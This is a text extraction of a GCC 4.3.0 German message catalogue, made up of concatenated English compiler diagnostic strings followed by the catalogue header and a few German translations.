const member %q+#D in class without a constructornon-static data member %qD has Java class typenon-static declaration of %q+D follows static declarationnon-static initialization of a flexible array membernon-static method %q+D overrides static methodnon-static reference %q+#D in class without a constructornon-static reference member %q#D, can't use default assignment operatornon-template type %qT used as a templatenon-thread-local declaration of %q+D follows thread-local declarationnon-trivial conversion at assignmentnon-trivial designated initializers not supportednonconstant array index in initializernonempty exits list of loop %d, but exits are not recordednonlocal label nonnull argument has invalid operand number (argument %lu)nonnull argument references non-pointer operand (argument %lu, operand %lu)nonnull argument with out-of-range operand number (argument %lu, operand %lu)nonnull attribute without arguments on a non-prototypenot a valid Java .class filenot configured for ABI: '%s'not configured with sysroot headers suffixnot enough type informationnot enough variable arguments to fit a sentinelnot protecting function: no buffer at least %d bytes longnot protecting local variables: variable length buffernot yet implemented: latency-optimized inline square rootnote: null argument where non-null required (argument %lu)num_threads expression must be integralnumber must be 0 or 1number of arguments doesn%'t match built-in prototypenumber of arguments doesn%'t match prototypenumber of bb notes in insn chain (%d) != n_basic_blocks (%d)number of components of the vector not a power of twonumber of counters is %d instead of %dobject %qE of incomplete type %qT will not be accessed in %sobject missing in reference to %q+Dobject missing in use of %qEobject of incomplete type %qT will not be accessed in %sobject of type %qT will not be accessed in %sobject with variably modified type must have no linkageobsolete option -I- used, please use -iquote insteadoffset of %q+D is not ABI-compliant and may change in a future version of GCCoffset of empty base %qT may not be ABI-compliant and maychange in a future version of GCCoffset of virtual base %qT is not ABI-compliant and may change in a future version of GCCoffset outside bounds of constant stringomitted middle operand to %<?:%> operand cannot be mangledonly declarations of constructors can be %<explicit%>only initialized variables can be placed into program memory areaonly uninitialized variables can be placed in a .bss sectiononly uninitialized variables can be placed in the .noinit sectiononly weak aliases are supported in this configurationopaque vector types cannot be initializedopen /dev/zero: %mopening dependency file %s: %mopening output file %s: %moperand 1 must be a hard registeroperand constraint contains incorrectly positioned %<+%> or %<=%>operand constraints for %<asm%> differ in number of alternativesoperand is neither a constant nor a condition code, invalid operand code 'c'operand number missing after %%-letteroperand number out of rangeoperand number out of range in formatoperand number specified for format taking no argumentoperand number specified with suppressed assignmentoperands to ?: have different types %qT and %qToperation on %qE may be undefinedoptimization may eliminate reads and/or writes to register variablesoptimizing for size and code size would growoptions enabled: options passed: ordered comparison of pointer with integer zeroordered region must be closely nested inside a loop region with an ordered clauseoriginally indirect function call not considered for inliningout of memoryouter block of region %i is wrongoutput constraint %d cannot be specified together with "%s" clobberoutput constraint %d must specify a single registeroutput constraint %qc for operand %d is not at the beginningoutput filename specified twiceoutput number %d not directly addressableoutput operand %d must use %<&%> constraintoutput operand constraint lacks %<=%>output operand is constant in %<asm%>output regs must be grouped at top of stackoutput_move_single:overflow in array dimensionoverflow in constant expressionoverflow in enumeration valuesoverflow in enumeration values at %qDoverflow in implicit constant conversionoverflowed output arg list for '%s'packed attribute causes inefficient alignmentpacked attribute causes inefficient alignment for %q+Dpacked attribute causes inefficient alignment for %qspacked attribute is unnecessarypacked attribute is unnecessary for %q+Dpacked attribute is unnecessary for %qspadding struct size to alignment boundarypadding struct to align %q+Dparameter %P has incomplete type %qTparameter %P of %qD has incomplete type %qTparameter %q+D declared %<inline%>parameter %q+D declared with void typeparameter %q+D has incomplete typeparameter %q+D has just a forward declarationparameter %qD declared voidparameter %qD has Java class typeparameter %qD includes %s to array of unknown bound %qTparameter %qD invalidly declared method typeparameter %qD is initializedparameter %u (%q+D) has incomplete typeparameter %u (%q+D) has void typeparameter list does not match a valid signature for %s()parameter may not have variably modified type %qTparameter names (without types) in function declarationparameter pack %qE must be at the end of the template parameter listparameter pack %qT must be at the end of the template parameter listparameter pack argument %qE must be at the end of the template argument listparameter pack argument %qT must be at the end of the template argument listparameter packs must be at the end of the parameter listparentheses around %qE cannot be used to form a pointer-to-member-functionpartial specialization %qT declared %<friend%>partial specialization %qT does not specialize any template argumentspassing %qT as %<this%> argument of %q#D discards qualifierspassing %qT chooses %qT over %qTpassing NULL to non-pointer argument %P of %qDpassing arg %d of %qE discards qualifiers frompointer target typepassing argument %d of %qE as %<float%> rather than %<double%> due to prototypepassing argument %d of %qE as %qT rather than %qT due to prototypepassing argument %d of %qE as complex rather than floating due to prototypepassing argument %d of %qE as complex rather than integer due to prototypepassing argument %d of %qE as floating rather than complex due to prototypepassing argument %d of %qE as floating rather than integer due to prototypepassing argument %d of %qE as integer rather than complex due to prototypepassing argument %d of %qE as integer rather than floating due to prototypepassing argument %d of %qE as signed due to prototypepassing argument %d of %qE as unsigned due to prototypepassing argument %d of %qE discards qualifiers from pointer target typepassing argument %d of %qE from distinct Objective-C typepassing argument %d of %qE from incompatible pointer typepassing argument %d of %qE makes integer from pointer without a castpassing argument %d of %qE makes pointer from integer without a castpassing argument %d of %qE makes qualified function pointer from unqualifiedpassing argument %d of %qE with different width due to prototypepassing floating point arguments in fp regs not yet supportedpc%d is not valid precision setting (32, 64 or 80)pch_preprocess pragma should only be used with -fpreprocessedpex_init failedpointer arithmetic for garbage-collected objects not allowedpointer assignmentpointer escapes but its name tag is not call-clobberedpointer of type %<void *%> used in arithmeticpointer of type %<void *%> used in subtractionpointer targets in assignment differ in signednesspointer targets in initialization differ in signednesspointer targets in passing argument %d of %qE differ in signednesspointer targets in return differ in signednesspointer to a function used in arithmeticpointer to a function used in subtractionpointer to member conversion via virtual base %qTpointer to member function used in arithmeticpointer to member type %qT incompatible with object type %qTpointer type mismatch in conditional expressionpointer value used where a complex was expectedpointer value used where a floating point value was expectedpointer-to-member function %E cannot be called without an object; consider using .* or ->*pointer/integer type mismatch in conditional expressionpointers are not permitted as case valuespointers with a memory tag, should have points-to setspossible problem detected in invocation of delete operator:post-increment address is not a registerpostfix %qD must take %<int%> as its argumentpostfix %qD must take %<int%> as its second argumentpostfix %qD should return %qTpre-decrement address is not a registerpre-increment address is not a registerprecisionprecision in printf formatpredicated Thumb instructionpredicated instruction in conditional sequenceprefix %qD should return %qTprev_bb of %d should be %d, not %dprevious declaration %q+#D hereprevious declaration %q+Dprevious declaration %q+D used %d template parameter(s)previous declaration of %q+#Dprevious declaration of %q+#D with %qL linkageprevious declaration of %q+Dprevious declaration of %q+D was hereprevious declaration of %q+D was inlineprevious declaration of %q+D with attribute noinlineprevious declaration of %qsprevious declaration of namespace %q+D hereprevious definition of %q+D was hereprevious external decl of %q+#Dprevious implicit declaration of %q+D was hereprevious non-function declaration %q+#Dprivate member %q+#D in anonymous structprivate member %q+#D in anonymous unionprofiler support for VxWorksprofiling not supported with -mg
programs: %s
promoted argument %qD doesn%'t match built-in prototypepromoted argument %qD doesn%'t match prototypeprotected member %q+#D in anonymous structprotected member %q+#D in anonymous unionprotocol %qs has circular dependencyprototype for %q#D does not match any in class %qTprototype for %q+#Dprototype for %q+D declares argument %d with incompatible typeprototype for %q+D declares fewer arguments than previous old-style definitionprototype for %q+D declares more arguments than previous old-style definitionprototype for %q+D follows non-prototype definitionprovided for %q+Dpseudo-destructor is not calledqualified function types cannot be used to declare free functionsqualified function types cannot be used to declare static member functionsqualified type %qT does not match destructor name ~%qTqualifiers are not allowed on declaration of %<operator %T%>qualifiers can only be specified for objects and functionsr0 needs to be available as a call-clobbered registerrange expressions in switch statements are non-standardread-only location %qE used as %<asm%> outputread-only member %qD used as %<asm%> outputread-only variable %qD used as %<asm%> outputreading class %s for the second time from %sreading through null pointer (argument %d)real kind=8 not available for -fdefault-real-8 optionrecursive evaluation of default argument for %q#Drecursive inliningrecursive type %qT undefinedredeclaration of %<enum %E%>redeclaration of %<wchar_t%> as %qTredeclaration of %q+D with different visibility (old visibility preserved)redeclaration of %q+D with no linkageredeclaration of %qT as a non-templateredeclaration of C++ built-in type %qTredeclaration of enumerator %q+Dredeclared here as %q#Dredeclared with %d template parameter(s)redefined extern inline functions are not considered for inliningredefinition of %<struct %E%>redefinition of %<union %E%>redefinition of %q#Tredefinition of %q+Dredefinition of default argument for %q#Dredefinition of parameter %q+Dredefinition of typedef %q+Dredundant redeclaration of %q+Dredundant redeclaration of %qD in same scopereference %qs is ambiguous: appears in interface %qs and interface %qsreference to %qD is ambiguousreference to local variable %q+D returnedreference to non-PURE function '%s' at %L inside a FORALL %sreference to non-lvalue returnedregion %i may contain throw and is contained in region that may notregion_array is corrupted for region %iregister name given for non-register variable %q+Dregister name not specified for %q+Dregister specified for %q+D isn%'t suitable for data typeregister used for two global register variablesregister variable %qD used in nested functionregister variable %qs used in nested functionregisters IX, IY and Z used in the same INSNreimplementation of class %qsremoving .rpo filerename spec %s to %s
renaming .rpo filerepeated %s in formatrepeated using declaration %q+Drepository file '%s' does not contain command-line argumentsrequest for implicit conversion from %qT to %qT not permitted in C++request for member %qD in %qE, which is of non-class type %qTrequest for member %qD is ambiguousrequest for member %qD is ambiguous in multiple inheritance latticerequest for member %qE in something not a structure or unionrequested alignment for %q+D is greater than implemented alignment of %wurequested alignment is not a constantrequested alignment is not a power of 2requested alignment is too largerequested init_priority is not an integer constantrequested init_priority is out of rangerequested init_priority is reserved for internal userequested position is less than zerorequested position is not an integer constantresult of %<operator->()%> yields non-pointer resultreturn discards qualifiers from pointer target typereturn edge does not point to exit in bb %dreturn from incompatible pointer typereturn makes integer from pointer without a castreturn makes pointer from integer without a castreturn makes qualified function pointer from unqualifiedreturn not followed by barrierreturn type %q#T is incompletereturn type defaults to %<int%>return type has Java class type %q#Treturn type is an incomplete typereturn type might be a candidate for a format attributereturn type of %q+D is not %<int%>return type specification for constructor invalidreturn type specification for destructor invalidreturn type specified for %<operator %T%>return-statement with a value, in function returning 'void'return-statement with no value, in function returning %qTreturning a value from a constructorreturning a value from a destructorreturning reference to temporaryright precisionright precision in strfmon formatright rotate count >= width of typeright rotate count is negativeright shift count >= width of typeright shift count is negativerounding mode not supported for VAX floatssame canonical type node for different types %T and %Tsay %<typename %E%> if a type is meantscalar object %qD requires one element in initializerschedule %<runtime%> does not take a %<chunk_size%> parameterschedule chunk size expression must be integralsecond argument of %q+D should be %<char **%>second argument to %<__builtin_prefetch%> must be a constantsecond operand to the conditional operator is of type %<void%>, but the third operand is neither a throw-expression nor of type %<void%>second parameter of %<va_start%> not last named argumentsection attribute not allowed for %q+Dsection of %q+D conflicts with previous declarationselector must be an immediateselector must be an integer constant in the range 0..%wisetting core file size limit to maximum: %mshadowing %s function %q#Dshadowing previous type declaration of %q#Dshared and mdll are not compatibleshared call_stmt:shared rtxside effects not recomputed when ADDR_EXPR changedsigned and unsigned type in conditional expressionsignness of type and machine mode %qs don't matchsimple IFsize assigned to %qT may not be ABI-compliant and may change in a future version of GCCsize in array new must have integral typesize of %q+D is %d bytessize of %q+D is larger than %wd bytessize of array %qD has non-integral type %qTsize of array %qD is negativesize of array %qD is not an integral constant-expressionsize of array %qs has non-integer typesize of array %qs is negativesize of array %qs is too largesize of array has non-integral type %qTsize of array is negativesize of array is not an integral constant-expressionsize of array is too largesize of loop %d should be %d, not %dsize of return value of %q+D is %u bytessize of return value of %q+D is larger than %wd bytessize of variable %q+D is too largesizeof(long double) is 12sizeof(long double) is 16soft-float and long-double-128 are incompatiblesorry, unimplemented: sorry: semantics of inline function static data %q+#D are wrong (you'll wind up with multiple copies)spec '%s' has invalid '%%0%c'spec '%s' has invalid '%%W%cspec '%s' has invalid '%%x%c'spec '%s' invalidspec '%s' is invalidspec failure: '%%*' has not been initialized by pattern matchspec failure: more than one arg to SYSROOT_HEADERS_SUFFIX_SPECspec failure: more than one arg to SYSROOT_SUFFIX_SPECspec failure: unrecognized spec option '%c'spec file has no spec for linkingspec is '%s'

specialization %qT after instantiation %qTspecialization of %qD after instantiationspecialization of %qD in different namespacespecialization of %qT after instantiationspecialization of implicitly-declared special member functionspecializing %q#T in different namespacespecified mode too small for enumeral valuesspecifying vector types with __attribute__ ((mode)) is deprecatedspecs %%include syntax malformed after %ld charactersspecs %%rename syntax malformed after %ld charactersspecs %s spec was not found to be renamedspecs file malformed after %ld charactersspecs unknown %% command after %ld charactersspurious trailing %<%%%> in formatstack frame not a multiple of 8 bytes: %wdstack frame not a multiple of octabyte: %wdstack frame too largestack guard value must be an exact power of 2stack limit expression is not supportedstack limits not supported on this targetstack size must be an exact power of 2stack size must be greater than the stack guard valuestack size must not be greater than 64kstack underflow - dup* operationstackframe too big: %d bytesstandard conversions are not allowed in this contextstatement makes a memory store, but has no VDEFSstatement marked for throw in middle of blockstatement marked for throw, but doesn%'tstatement with no effectstatic %qs cannot be declared %<mutable%>static assertion failed: %Estatic declaration of %q+D follows non-static declarationstatic is not supported on TPF-OSstatic member %qD cannot be a bit-fieldstatic member %qD declared %<register%>static member function %q#D declared with type qualifiersstatic member function %qD cannot have cv-qualifierstatic or type qualifiers in non-parameter array declaratorstatic variable %q+D is marked dllimportstatically allocated instance of Objective-C class %qsstdcall and cdecl attributes are not compatiblestdcall and fastcall attributes are not compatiblestmt (%p) marked modified after optimization pass: storage class %<__thread%> invalid for function %qsstorage class %<auto%> invalid for function %qsstorage class %<register%> invalid for function %qsstorage class %qD applied to template instantiationstorage class specified for %qsstorage class specified for parameter %qsstorage class specified for structure field %qsstorage class specified for typenamestorage class specifiers invalid in friend function declarationsstorage class specifiers invalid in parameter declarationsstorage size of %q+D isn%'t constantstorage size of %q+D isn%'t knownstorage size of %qD isn't constantstorage size of %qD isn't knownstray %<\%o%> in programstray %qc in programstray %qs in programstrftime formats cannot format argumentsstring length %qd is greater than the length %qd ISO C%d compilers are required to supportstrong using only meaningful at namespace scopestrong-cast assignment has been interceptedstrong-cast may possibly be neededstruct has no membersstruct has no named membersstructure %qD with uninitialized const membersstructure %qD with uninitialized reference membersstructure alignment must be a small power of two, not %dstructure size boundary can only be set to %ssubframework include %s conflicts with framework includesubscript missing in array referencesubscripted value is neither array nor pointersubscripted value is pointer to functionsubscripting array declared %<register%>suggest explicit braces around empty body in %<do%> statementsuggest parentheses around %<>>%> expressionsuggest parentheses around assignment used as truth valuesupport for mode %qsswitch %qs is no longer supportedswitch '%s' does not start with '-'switch -mcpu=%s conflicts with -march= switchswitch quantity not an integerswitch statement of size %lu entries too largesystem path '%s' is not absolutetaking address of temporarytaking the address of a label is non-standardtarget CPU does not support ARM modetarget CPU does not support THUMB instructionstarget CPU does not support interworkingtarget format does not support infinitytarget system does not support debug outputtarget system does not support the "%s" debug formattemplate argument %d is invalidtemplate argument %qE involves template parameter(s)template argument for %qD uses local type %qTtemplate argument required for %<%s %T%>template arguments to %qD do not match original template %qDtemplate class without a nametemplate declaration of %q#Dtemplate definition of non-template %q#Dtemplate header not allowed in member definition of explicitly specialized classtemplate instantiation depth exceeds maximum of %d (use -ftemplate-depth-NN to increase the maximum) instantiating %qDtemplate instantiation depth exceeds maximum of %d instantiating %q+D, possibly from virtual table generation (use -ftemplate-depth-NN to increase the maximum)template parameter %q+#Dtemplate parameter %qD of type %qT is not allowed in an integral constant expression because it is not of integral or enumeration typetemplate parameter list used in explicit instantiationtemplate parameter type %qT declared %<friend%>template parameters cannot be friendstemplate parameters do not match templatetemplate parameters not used in partial specialization:template specifiers not specified in declaration of %qDtemplate type parameters must use the keyword %<class%> or %<typename%>template-id %qD for %q+D does not match any template declarationtemplate-id %qD in declaration of primary templatetemplate-id %qD used as a declaratorthat particular -g option is invalid with -maout and -melinuxthe %qs architecture does not support branch-likely instructionsthe %qs architecture does not support paired-single instructionsthe ' ' printf flagthe '!' strfmon flagthe '#' printf flagthe '#' strftime flagthe '%s' and '%s' arguments of '%s' intrinsic at %L must be of the same kind %d/%dthe '%s' and '%s' arguments of '%s' intrinsic at %L must have the same rank %d/%dthe ''' printf flagthe ''' scanf flagthe '(' strfmon flagthe '+' printf flagthe '+' strfmon flagthe '-' printf flagthe '-' strfmon flagthe '-' strftime flagthe '0' printf flagthe '0' strftime flagthe 'E' strftime modifierthe 'I' printf flagthe 'I' scanf flagthe 'O' modifierthe 'O' strftime modifierthe '^' strfmon flagthe '^' strftime flagthe '_' strftime flagthe 'a' scanf flagthe 'm' scanf flagthe 'q' diagnostic flagthe -shared option is not currently supported for VAX ELFthe address of %qD will always evaluate as %<true%>the address of %qD will never be NULLthe assignment suppression scanf featurethe default argument for parameter %d of %qD has not yet been parsedthe fifth argument must be a 8-bit immediatethe first parameter of %<operator new%> cannot have a default argumentthe m210 does not have little endian supportthe mangled name of %qD will change in a future version of GCCthe offset of %qD may not be ABI-compliant and may change in a future version of GCCthe size of array %qs can%'t be evaluatedthe size of array can %'t be evaluatedthe third argument must be a 8-bit immediatethe type being destroyed is %qT, but the destructor refers to %qTthe type of '%s' at %C has not been declared within the interfacethere are no arguments to %qD that depend on a template parameter, so a declaration of %qD must be availablethird argument of %q+D should probably be %<char **%>third argument to %<__builtin_prefetch%> must be a constantthird operand to the conditional operator is of type %<void%>, but the second operand is neither a throw-expression nor of type %<void%>this builtin function is only available on the fr405 and fr450this builtin function is only available on the fr450this builtin function is only available on the fr500 and fr550this can result in poorly optimized codethis decimal constant is unsigned only in ISO C90this decimal constant would be unsigned in ISO C90this is the insn:this media function is only available on the fr400 and fr550this media function is only available on the fr500this target does not support %qsthis target machine does not have delayed branchesthread-local COMMON data not implementedthread-local declaration of %q+D follows non-thread-local declarationthrowing NULL, which has integral, not pointer typetime in %s: %ld.%06ld (%ld%%)
tls_model argument must be one of "local-exec", "initial-exec", "local-dynamic" or "global-dynamic"tls_model argument not a stringto generate dependencies you must specify either -M or -MMto refer to a type member of a template parameter, use %<typename %E%>too few arguments for formattoo few arguments to %%:version-comparetoo few arguments to %s %q+#Dtoo few arguments to functiontoo few arguments to function %<va_start%>too few arguments to function %qEtoo few template parameter lists in declaration of %qDtoo large function value type, needs %d registers, have only %d registers for thistoo late for # directive to set debug directorytoo many #pragma options align=resettoo many %qs clausestoo many alternatives in %<asm%>too many arguments for formattoo many arguments to %%:version-comparetoo many arguments to %s %q+#Dtoo many arguments to functiontoo many arguments to function %qEtoo many arguments to overloaded function %stoo many filenames given.  Type %s --help for usagetoo many initializers for %qTtoo many input filestoo many outgoing branch edges from bb %itoo many template parameter lists in declaration of %qDtoo much stack space to dispose of: %dtoo much stack space to prepare: %dtop-level declaration of %qs specifies %<auto%>total size of local variables exceeds architecture limittraditional C rejects automatic aggregate initializationtraditional C rejects initialization of unionstraditional C rejects string constant concatenationtrampolines not supportedtransformational intrinsic '%s' at %L is not permitted in an initialization expressiontrap mode not supported for VAX floatstrap mode not supported on Unicos/Mktree check: %s, have %s in %s, at %s:%dtree check: accessed elt %d of tree_vec with %d elts in %s, at %s:%dtree check: accessed operand %d of %s with %d operands in %s, at %s:%dtree check: accessed operand %d of omp_clause %s with %d operands in %s, at %s:%dtree check: did not expect class %qs, have %qs (%s) in %s, at %s:%dtree check: expected class %qs, have %qs (%s) in %s, at %s:%dtree check: expected none of %s, have %s in %s, at %s:%dtree check: expected omp_clause %s, have %s in %s, at %s:%dtree check: expected tree that contains %qs structure, have %qs in %s, at %s:%dtree list ends on depth %itry reducing the number of local variablestry removing the parentheses around the type-idtry using %qE insteadtrying to finish struct, but kicked out due to previous parse errorstrying to make class %qT a friend of global scopetwo or more data types in declaration of %qstwo or more data types in declaration specifierstype %q#T argument given to %<delete%>, expected pointertype %q+D does not have a known sizetype %qT for explicit instantiation %qD does not match declared type %qTtype %qT is disallowed in Java %<throw%> or %<catch%>type %qT is not a base type for type %qTtype %qT is not a direct base of %qTtype %qT is not a direct or virtual base of %qTtype %qT is not derived from %<java::lang::Throwable%>type %qT is not derived from type %qTtype %qT of template argument %qE depends on template parameter(s)type %qs has a user-defined constructortype %qs has a user-defined destructortype %qs has no default constructor to calltype %qs has virtual member functionstype attributes ignored after type is already definedtype defaults to %<int%> in declaration of %qstype is deprecatedtype is deprecated (declared at %s:%d)type mismatch between an SSA_NAME and its symboltype mismatch in address expressiontype mismatch in array range referencetype mismatch in array referencetype mismatch in binary expressiontype mismatch in binary truth expressiontype mismatch in comparison expressiontype mismatch in complex expressiontype mismatch in component referencetype mismatch in conditional expressiontype mismatch in indirect referencetype mismatch in pointer plus expressiontype mismatch in real/imagpart referencetype mismatch in shift expressiontype mismatch with previous external decl of %q#Dtype of %q+D defaults to %<int%>type of %qE is unknowntype of array %q+D completed incompatibly with implicit initializationtype of asm operand %qE could not be determinedtype of bit-field %qs is a GCC extensiontype of formal parameter %d is incompletetype qualifiers ignored on function return typetype qualifiers specified for friend class declarationtype size can%'t be explicitly evaluatedtype to vector delete is neither pointer or array typetype-punning to incomplete type might break strict-aliasing rulestype/value mismatch at argument %d in template parameter list for %qDtypedef %q+D declared %<inline%>typedef %qD is initialized (use __typeof__ instead)typedef declaration invalid in parameter declarationtypes are not quite compatibleunable to compute real location of stacked parameterunable to emulate %qsunable to find a register to spill in class %qsunable to generate reloads for:unable to open dynamic dependency '%s'unable to use '%s' for PIC registerunconditional %2d never executed
unconditional %2d taken %s
undeclared selector %qsundefined named operand %qsunderflowed virtual array %s in %s, at %s:%dunexpected base-type in cris_print_baseunexpected index-type in cris_print_indexunexpected multiplicative operandunexpected operandunexpected side-effects in addressunimplemented functionalityunimplemented-shmedia profilinguninitialized const %qDuninitialized const in %<new%> of %q#Tuninitialized const member %qDunion cannot be made transparentunion has no membersunion has no named membersunknown -m%s= option specified: '%s'unknown -malign-XXXXX option specified: '%s'unknown -mdebug-%s switchunknown -mtraceback arg %qs; expecting %<full%>, %<partial%> or %<none%>unknown ABI specified: '%s'unknown CRIS cpu version specification in -mtune= : %sunknown CRIS version specification in -march= or -mcpu= : %sunknown action %qs for %<#pragma pack%> - ignoredunknown array size in deleteunknown cc_attr valueunknown conversion type character %qc in formatunknown conversion type character 0x%x in formatunknown demangling style '%s'unknown field %qE specified in initializerunknown insn modeunknown machine mode %qsunknown move insn:unknown operator '%s' in %%:version-compareunknown option after %<#pragma GCC diagnostic%> kindunknown register name %qs in %<asm%>unknown register name: %sunknown relocation unspecunknown spec function '%s'unknown tls-model "%s"unnamed initializer for %qT, which has no base classesunnamed initializer for %qT, which uses multiple inheritanceunnamed struct/union that defines no instancesunnamed variable or field declared voidunnecessary EH edge %i->%iunordered comparison on non-floating point argumentunreachable bytecode from %d to before %dunreachable bytecode from %d to the end of the methodunrecogized wide sub-instructionunrecognised debug output level "%s"unrecognizable insn:unrecognized addressunrecognized command line option "%s"unrecognized format specifierunrecognized gcc debugging option: %cunrecognized include_flags 0x%x passed to print_specific_helpunrecognized option '-%s'unrecognized register name "%s"unrecognized section name "%s"unrecognized supposed constantunrecognized visibility value "%s"unrecoverable errorunresolved overload for Altivec builtin %qFunsupported argument to %<__builtin_frame_address%>unsupported argument to %<__builtin_return_address%>unsupported combination: %sunsupported non-standard suffix on floating constantunsupported operand size for extended registerunterminated assembly dialect alternativeunterminated format stringunused arguments in $-style formatunused parameter %q+Dunused variable %q+Dunwind tables currently require a frame pointer for correctnessupper value in case label range exceeds maximum value for typeuse #include insteaduse %<%T::%D%> instead of %<%T::%D%> to name the constructor in a qualified nameuse %<%T::template %D%> to indicate that it is a templateuse %<-fobjc-exceptions%> to enable Objective-C exception syntaxuse %<...%> to expand argument packuse -Winvalid-pch for more informationuse -flax-vector-conversions to permit conversions between vectors with differing element types or numbers of subpartsuse __attribute__ ((vector_size)) insteaduse of %<auto%> variable from containing functionuse of %<complex%> in AltiVec types is invaliduse of %<double%> in AltiVec types is invaliduse of %<long double%> in AltiVec types is invaliduse of %<long long%> in AltiVec types is invaliduse of %<long%> in AltiVec types is deprecated; use %<int%>use of %<long%> in AltiVec types is invalid for 64-bit codeuse of %qs in templateuse of %qs length modifier with %qc type characteruse of %s and %s together in %s formatuse of %s and %s together with %<%%%c%> %s formatuse of boolean types in AltiVec types is invaliduse of class template %qT as expressionuse of decimal floating point types in AltiVec types is invaliduse of enum %q#D without previous declarationuse of memory input without lvalue in asm operand %d is deprecateduse of namespace %qD as expressionuse of old-style castuse template<> for an explicit specializationused array that cannot be converted to pointer where scalar is requiredused struct type value where scalar is requiredused union type value where scalar is requireduseless %<__thread%> in empty declarationuseless storage class specifier in empty declarationuseless type name in empty declarationuseless type qualifier in empty declarationuser-defined %qD always evaluates both argumentsusing %<typename%> outside of templateusing both @FILE with multiple files not implementedusing declaration %q+D conflicts with a previous using declarationusing invalid field %qDusing template type parameter %qT after %qsusing typedef-name %qD after %qsusing-declaration for non-member at class scopevalidate_value_data: Loop in regno chain (%u)validate_value_data: [%u] Bad next_regno for empty chain (%u)validate_value_data: [%u] Bad oldest_regno (%u)validate_value_data: [%u] Non-empty reg in chain (%s %u %i)value computed is not usedvalue of -mfixed-range must have form REG1-REG2value passed to %<-m%s%> is too largevalue-initialization of referencevariable %q#D has initializer but incomplete typevariable %q+D declared %<inline%>variable %q+D definition is marked dllimportvariable %q+D might be clobbered by %<longjmp%> or %<vfork%>variable %qD has function typevariable %qD has initializer but incomplete typevariable in call_clobbered_vars but not marked call_clobberedvariable length array %qD is usedvariable length array %qs is usedvariable length array is usedvariable marked call_clobbered but not in call_clobbered_vars bitmap.variable or field %qE declared voidvariable or field %qs declared voidvariable or field declared voidvariable previously declared %<static%> redeclared %<extern%>variable tracking requested, but not supported by this debug formatvariable tracking requested, but useless unless producing debug infovariable-size type declared outside of any functionvariable-sized object %qD may not be initializedvariable-sized object may not be initializedvariably modified %qs at file scopevector %s %s domain error, in %s at %s:%uvector overflow in expressionvector size not an integral multiple of component sizeverification failed at PC=%d: %sverification failed: %sverify_call_clobbering failedverify_cgraph_node failedverify_eh_tree failedverify_flow_info failedverify_flow_info: Basic block %d succ edge is corruptedverify_flow_info: Block %i has loop_father, but there are no loopsverify_flow_info: Block %i lacks loop_fatherverify_flow_info: Duplicate edge %i->%iverify_flow_info: Incorrect blocks for fallthru %i->%iverify_flow_info: Incorrect fallthru %i->%iverify_flow_info: REG_BR_PROB does not match cfg %wi %iverify_flow_info: Wrong count of block %i %iverify_flow_info: Wrong count of edge %i->%i %iverify_flow_info: Wrong frequency of block %i %iverify_flow_info: Wrong probability of edge %i->%i %iverify_flow_insensitive_alias_info failedverify_flow_sensitive_alias_info failedverify_gimple failedverify_histograms failedverify_memory_partitions failedverify_ssa failedverify_stmts failedversion attribute is not a stringvirtual array %s[%lu]: element %lu out of bounds in %s, at %s:%dvirtual base %qT inaccessible in %qT due to ambiguityvirtual functions cannot be friendsvirtual non-class function %qsvisibility argument must be one of "default", "hidden", "protected" or "internal"visibility argument not a stringvisibility attribute not supported in this configuration; ignoredvoid value not ignored as it ought to bevolatile must be specified on any memory that is effected by DMAvtable layout for class %qT may not be ABI-compliantand may change in a future version of GCC due to implicit virtual destructorwarning: warning: '-x %s' after last input file has no effectwarning: -pipe ignored because -save-temps specifiedwarning: already-compiled .class files ignored with -Cwarning: use of obsolete %%[ operator in specsweak declaration of %q+D after first use results in unspecified behaviorweak declaration of %q+D must be publicweak declaration of %q+D must precede definitionweak declaration of %q+D not supportedweakref %q+D must have static linkageweakref %q+D ultimately targets itselfwhen writing output to %s: %mwidth of %q+D exceeds its typewidth of %qs exceeds its typewill be assumed to return %<id%> and acceptwith %q+#Dwithin this contextwriting into constant object (argument %d)writing through null pointer (argument %d)wrong amount of branch edges after conditional jump %iwrong amount of branch edges after unconditional jump %iwrong edge %d->%d for PHI argumentwrong immediate use listwrong insn in the fallthru edgewrong number of arguments specified for %qs attributewrong number of arguments to function %<__builtin_next_arg%>wrong number of arguments to function %<va_start%>wrong number of template arguments (%d, should be %d%s)wrong number of template arguments (%d, should be %d)wrong outgoing edge flags at end of bb %dwrong type argument to abswrong type argument to bit-complementwrong type argument to conjugationwrong type argument to decrementwrong type argument to incrementwrong type argument to unary exclamation markwrong type argument to unary minuswrong type argument to unary plusx87 register return with x87 disabledxstormy16_print_operand: unknown codez/Architecturez/Architecture mode not supported on %szero or negative size array %q+Dzero vector sizezero width for bit-field %q+Dzero width for bit-field %qszero width in %s formatzero-length %s format stringzero-size array %qDProject-Id-Version: gcc 4.3.0
Report-Msgid-Bugs-To: http://gcc.gnu.org/bugs.html
POT-Creation-Date: 2009-07-15 13:37+0200
PO-Revision-Date: 2008-03-15 11:15+0100
Last-Translator: Roland Stigge <stigge@antcom.de>
Language-Team: German <translation-team-de@lists.sourceforge.net>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
	%+#D

%s: %d: Warnung: Deklaration von »%s« kann nicht zu Makro-Aufruf hinzugefügt werden

%s: Fehler beim Lesen der Eingabedatei »%s«: %s

%s: kritischer Fehler: Datei mit Hilfsinformationen beschädigt in Zeile %d

%s: Warnung: zu wenige Parameterlisten in Deklaration von »%s«

Ausführungszeiten (Sekunden)

Zum Einsenden von Fehlerberichten (auf Englisch) lesen Sie bitte die
folgenden Hinweise; Fehler in der deutschen Übersetzung sind an
translation-team-de@lists.sourceforge.net zu melden:

Zum Einsenden von Fehlerberichten (auf Englisch) lesen Sie bitte die Hinweise in:
%s.
Fehler in der deutschen Übersetzung sind an translation-team-de@lists.sourceforge.net zu melden.

Fortfahren? (y oder n) 
Linkeroptionen
==============


Optionen, die mit -g, -f, -m, -O, -W, oder --param beginnen, werden automatisch
 an die verschiedenen Subprozesse, die von %s aufgerufen werden, übergeben.
 Um andere Optionen an diese Prozesse zu übergeben, müssen die Optionen
 -W<Buchstabe> verwendet werden.

Ausgabe von ldd mit Konstruktoren/Destruktoren.

write_c_file - Ausgabename ist %s, Präfix ist %s
                           Spezifische Typen der Kommandozeilenoptionen anzeigen
          %s        %qD        <anonym>    Eingefügt bei %s:%d:    eingefügt von %qs    eingefügt von %qs bei %s:%d    eingefügt von %qs bei %s:%d:%d   in Umwandlung in Zeiger auf Element   in Umwandlung in Zeiger auf Elementfunktion  %q+#D  %q+#D hier deklariert  ('-v --help' zum Anzeigen der Kommandozeilenoptionen von Subprozessen verwenden)
